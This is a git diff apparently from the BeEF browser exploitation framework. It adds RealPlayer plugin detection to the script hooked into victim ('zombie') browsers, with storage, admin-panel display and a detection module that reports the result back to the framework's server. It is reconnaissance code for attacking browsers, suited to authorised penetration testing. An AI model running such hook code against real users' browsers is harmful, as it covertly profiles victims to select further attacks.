diff --git a/core/main/client/browser.js b/core/main/client/browser.js
index 8b6fabf4d..ae679a8de 100644
--- a/core/main/client/browser.js
+++ b/core/main/client/browser.js
@@ -886,6 +886,57 @@ beef.browser = {
return quicktime;
+ },
+
+ /**
+ * Checks if the zombie has the RealPlayer plugin installed.
+ * @return: {Boolean} true or false.
+ *
+ * @example: if ( beef.browser.hasRealPlayer() ) { ... }
+ */
+ hasRealPlayer:function () {
+
+ var realplayer = false;
+
+ // Not Internet Explorer
+ if (!this.type().IE) {
+
+ for (i = 0; i < navigator.plugins.length; i++) {
+
+ if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
+ realplayer = true;
+ }
+
+ }
+
+ // Internet Explorer
+ } else {
+
+ var definedControls = [
+ 'RealPlayer',
+ 'rmocx.RealPlayer G2 Control',
+ 'rmocx.RealPlayer G2 Control.1',
+ 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
+ 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
+ ];
+
+ for (var i = 0; i < definedControls.length; i++) {
+
+ try {
+
+ var rp_test = new ActiveXObject(definedControls[i]);
+
+ } catch (e) {
+ }
+
+ if ( rp_test ) {
+ realplayer = true;
+ }
+ }
+ }
+
+ return realplayer;
+
},
/**
@@ -2077,6 +2128,7 @@ beef.browser = {
var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
+ var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No";
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No";
@@ -2108,6 +2160,7 @@ beef.browser = {
if (has_activex) details['HasActiveX'] = has_activex;
if (has_silverlight) details['HasSilverlight'] = has_silverlight;
if (has_quicktime) details['HasQuickTime'] = has_quicktime;
+ if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
if (has_session_cookies) details["hasSessionCookies"] = has_session_cookies;
if (has_persistent_cookies) details["hasPersistentCookies"] = has_persistent_cookies;
diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb
index bf36bcd73..0a570f2b8 100644
--- a/core/main/handlers/browserdetails.rb
+++ b/core/main/handlers/browserdetails.rb
@@ -270,6 +270,14 @@ module BeEF
else
self.err_msg "Invalid value for HasQuickTime returned from the hook browser's initial connection."
end
+
+ # get and store the yes|no value for HasRealPlayer
+ has_realplayer = get_param(@data['results'], 'HasRealPlayer')
+ if BeEF::Filters.is_valid_yes_no?(has_realplayer)
+ BD.set(session_id, 'HasRealPlayer', has_realplayer)
+ else
+ self.err_msg "Invalid value for HasRealPlayer returned from the hook browser's initial connection."
+ end
# get and store the value for CPU
cpu_type = get_param(@data['results'], 'CPU')
diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb
index da13e62bf..1d06f4713 100644
--- a/extensions/admin_ui/controllers/modules/modules.rb
+++ b/extensions/admin_ui/controllers/modules/modules.rb
@@ -82,6 +82,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
['Browser Components', 'Silverlight', 'HasSilverlight'],
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
+ ['Browser Components', 'RealPlayer', 'HasRealPlayer'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb
index b853350db..6c99bafbf 100644
--- a/extensions/admin_ui/controllers/panel/panel.rb
+++ b/extensions/admin_ui/controllers/panel/panel.rb
@@ -90,7 +90,8 @@ module BeEF
has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
has_activex = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasActiveX')
has_silverlight = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasSilverlight')
- has_quicktime = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
+ has_quicktime = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
+ has_realplayer = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasRealPlayer')
date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp')
return {
@@ -111,7 +112,8 @@ module BeEF
'has_java' => has_java,
'has_activex' => has_activex,
'has_silverlight' => has_silverlight,
- 'has_quicktime' => has_quicktime,
+ 'has_quicktime' => has_quicktime,
+ 'has_realplayer' => has_realplayer,
'date_stamp' => date_stamp
}
diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
index 0dad2631e..ff5eb12ec 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
@@ -30,6 +30,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
var has_activex = zombie_array[index]["has_activex"];
var has_silverlight = zombie_array[index]["has_silverlight"];
var has_quicktime = zombie_array[index]["has_quicktime"];
+ var has_realplayer = zombie_array[index]["has_realplayer"];
var date_stamp = zombie_array[index]["date_stamp"];
text = "
";
@@ -48,6 +49,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
balloon_text+= "
ActiveX: " + has_activex;
balloon_text+= "
Silverlight: " + has_silverlight;
balloon_text+= "
QuickTime: " + has_quicktime;
+ balloon_text+= "
RealPlayer: " + has_realplayer;
balloon_text+= "
Google Gears: " + has_googlegears;
balloon_text+= "
Date: " + date_stamp;
diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb
index 72798a756..4c2bf5abf 100644
--- a/extensions/console/lib/shellinterface.rb
+++ b/extensions/console/lib/shellinterface.rb
@@ -298,6 +298,7 @@ class ShellInterface
['Browser Components', 'Silverlight', 'HasSilverlight'],
['Browser Components', 'Web Sockets', 'HasWebSocket'],
['Browser Components', 'QuickTime', 'HasQuickTime'],
+ ['Browser Components', 'RealPlayer', 'HasRealPlayer'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
diff --git a/modules/browser/detect_realplayer/command.js b/modules/browser/detect_realplayer/command.js
new file mode 100644
index 000000000..0b700ada2
--- /dev/null
+++ b/modules/browser/detect_realplayer/command.js
@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+ var result = ( beef.browser.hasRealPlayer() )? "Yes" : "No";
+
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "realplayer="+result);
+
+});
+
diff --git a/modules/browser/detect_realplayer/config.yaml b/modules/browser/detect_realplayer/config.yaml
new file mode 100644
index 000000000..5be73c568
--- /dev/null
+++ b/modules/browser/detect_realplayer/config.yaml
@@ -0,0 +1,15 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+ module:
+ detect_realplayer:
+ enable: true
+ category: "Browser"
+ name: "Detect RealPlayer"
+ description: "This module will check if the browser has RealPlayer support."
+ authors: ["gcattani"]
+ target:
+ working: ["All"]
diff --git a/modules/browser/detect_realplayer/module.rb b/modules/browser/detect_realplayer/module.rb
new file mode 100644
index 000000000..60dec55e1
--- /dev/null
+++ b/modules/browser/detect_realplayer/module.rb
@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_realplayer < BeEF::Core::Command
+
+ def post_execute
+ content = {}
+ content['realplayer'] = @datastore['realplayer']
+ save content
+ end
+
+end